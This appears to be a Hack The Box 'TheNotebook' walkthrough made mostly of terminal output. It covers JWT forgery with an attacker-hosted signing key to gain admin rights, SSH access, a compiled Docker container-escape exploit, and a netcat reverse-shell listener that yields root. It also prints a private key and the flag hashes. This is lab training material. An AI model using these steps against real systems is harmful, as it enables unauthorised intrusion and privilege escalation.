┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in jwtRS256.key Your public key has been saved in jwtRS256.key.pub The key fingerprint is: SHA256:SS1PrGQQT5jFz4OlkxA7O9gn5zFde0t9jBr26pulXvg root@kali The key's randomart image is: +---[RSA 4096]----+ | +Bo | | +=.o. | | o.*B+ . | | o *=B+. . + | | . = S.o.+ + +| | * o . B ..| | . o = | | B | | oB.E | +----[SHA256]-----+ ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub writing RSA key ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# cat jwtRS256.key -----BEGIN RSA PRIVATE KEY----- MIIJKQIBAAKCAgEAvI/xUwgbHsfS7jZa7vCu6NsGOZLqjWGMfY3JhL3O10SSe9CD Y4VB0DtHA2Y8yKA1C1hjI2odVgvxmcLgvylhUccd/Fgo2CENr5Ez/K5nbPkMSG8K 373AspZjx4jvM25G/K9EX1bh5PWt/mH8G/Sgr4G0D1JqFbro0p6UK7gdzw/OG3kH hz4vUKK8sq/ueZBi8Dhu78UhDqUkROQYmdo+TeF4AAN7ZWYx1DebEq+u47opdqwT 60NUmbA+qccc8vdsFwERpcE1eYg6JVRyZUTH8cF6shelSpeTtluvBG+9NvNhPOzZ PW56gMG4Q3lw/5YeUiZMRaOTcKk+fk9Issbos2UuN1I0omFxMNVKjRSK/+EN69LK ui35KpaHpqiZ3tJlHtebN9WURIsd0KV+3r/1Z1h3fMQh1gXlDKy7ps8YqMDi2PiJ KHj2tkQChIx8KwOvotb1k91jLGoPqYiJi2IzgURN/zSCFcr3EGAbZg1XmaIMmOV6 F5S9LmU/v1YIB5TjDDPvdaFr/wPwZZd9fLkwbS8zpNr1geICqcyGqv3cfTUjVf5g I0Z+j3qUNJLBGYRQu8FZ3yCi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NMk4o/ZqrvHPw25zhxWGYyFn12r/hAoIBAQCahA0wJFvy019pTVAtI6O9oflV T69IJyTGIf4jO/kFBmRGJIGu7EPm1Grt6aWV+MZEoUopc4mOethZIbzsxmIVRyx9 8u+LbbWGVgv9XZbcTZLUR5KVxM1KFslL6e/vELY/AVt081RJf1xf1eT1KiP3i80h xSGQJS8sDD3nxKzdaDKhi0hIgbUAgdLOq4fwMDZYmczhU16aMwHP6s0sY+ctLoEh d6uHFkfmWYIGSkFXC93626yTHyjOzY9ytwxQ+f7L10eioeVRZRDa2cb2wnNGfYmU DUbLgDbMRQxjxu4i6mun5NlWvFMYESN2CnpvpiPfLKBdoH1qTF4zo1vwu3Qh -----END RSA PRIVATE KEY----- ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# cat jwtRS256.key.pub -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvI/xUwgbHsfS7jZa7vCu 6NsGOZLqjWGMfY3JhL3O10SSe9CDY4VB0DtHA2Y8yKA1C1hjI2odVgvxmcLgvylh Uccd/Fgo2CENr5Ez/K5nbPkMSG8K373AspZjx4jvM25G/K9EX1bh5PWt/mH8G/Sg r4G0D1JqFbro0p6UK7gdzw/OG3kHhz4vUKK8sq/ueZBi8Dhu78UhDqUkROQYmdo+ TeF4AAN7ZWYx1DebEq+u47opdqwT60NUmbA+qccc8vdsFwERpcE1eYg6JVRyZUTH 8cF6shelSpeTtluvBG+9NvNhPOzZPW56gMG4Q3lw/5YeUiZMRaOTcKk+fk9Issbo s2UuN1I0omFxMNVKjRSK/+EN69LKui35KpaHpqiZ3tJlHtebN9WURIsd0KV+3r/1 Z1h3fMQh1gXlDKy7ps8YqMDi2PiJKHj2tkQChIx8KwOvotb1k91jLGoPqYiJi2Iz gURN/zSCFcr3EGAbZg1XmaIMmOV6F5S9LmU/v1YIB5TjDDPvdaFr/wPwZZd9fLkw bS8zpNr1geICqcyGqv3cfTUjVf5gI0Z+j3qUNJLBGYRQu8FZ3yCi0m4ygrAn3vWy yFWxk2ABwTry9cA2kZv8rhbxFuvG7i9ibF1sVHPxi21UrXtzFNKheVAJm+qs0G+j v/fPmz07ZQXi9Gw8Lukz6IcCAwEAAQ== -----END PUBLIC KEY-----
here now edit the payload and the details in jwt.io to the one matching to the original token, but change the localhost to your own tun0 ip, change admin_cap to true
And make sure the algorithm is set to RS256
It should look like this, signature verified.
before changing the cookie, change the priv key name to privKey.key as that is called on and spin the server on port 7070.
┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# chmod 600 home/noah/.ssh/id_rsa ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# ssh -i home/noah/.ssh/id_rsa noah@10.10.10.230 The authenticity of host '10.10.10.230 (10.10.10.230)' can't be established. ECDSA key fingerprint is SHA256:GHcgekaLnxmzAeBtBN8jWgd3DME3eniUb0l+PDmejDQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.230' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue Mar 9 04:45:53 UTC 2021 System load: 0.0 Processes: 182 Usage of /: 42.1% of 7.81GB Users logged in: 0 Memory usage: 19% IP address for ens160: 10.10.10.230 Swap usage: 0% IP address for docker0: 172.17.0.1 61 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Mar 9 03:28:09 2021 from 10.10.14.41 noah@thenotebook:~$ id uid=1000(noah) gid=1000(noah) groups=1000(noah) noah@thenotebook:~$ whoami noah noah@thenotebook:~$ ls home user.txt noah@thenotebook:~$ cat user.txt c3f30f818132c77d26eae145351809ac
root
1 2 3 4 5 6
noah@thenotebook:~$ sudo -l Matching Defaults entries for noah on thenotebook: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook: (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
searching for the exploit, the following website is interesting
now go to the machine, get into the docker container
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# go build main.go ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# ls home home.tar.gz jwtRS256.key.pub main main.go php-reverse-shell.php privKey.key ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# mv main exp ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] └─# ls exp home home.tar.gz jwtRS256.key.pub main.go php-reverse-shell.php privKey.key
System information as of Tue Mar 9 05:32:53 UTC 2021
System load: 0.29 Processes: 207 Usage of /: 42.2% of 7.81GB Users logged in: 1 Memory usage: 21% IP address for ens160: 10.10.10.230 Swap usage: 0% IP address for docker0: 172.17.0.1
=> There is 1 zombie process.
61 packages can be updated. 0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Mar 9 05:23:22 2021 from 10.10.14.5 noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 sh No help topic for'/bin/sh'
as per our payload, listen on the port for rev connection got root
└─# nc -lvp 4322 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4322 Ncat: Listening on 0.0.0.0:4322 Ncat: Connection from 10.10.10.230. Ncat: Connection from 10.10.10.230:37578. bash: cannot set terminal process group (68630): Inappropriate ioctl for device bash: no job control in this shell <da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056# whoami whoami root <da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056# pwd pwd /run/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/ebd846222421782da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056 <da0ce3c741b77d5a95dafd4f680fc443d94bcad9564fce056# cd /root cd /root root@thenotebook:/root# ls ls cleanup.sh docker-runc reset.sh root.txt start.sh root@thenotebook:/root# cat root.txt cat root.txt 4de72defc1cf5263e34f67acc80c6018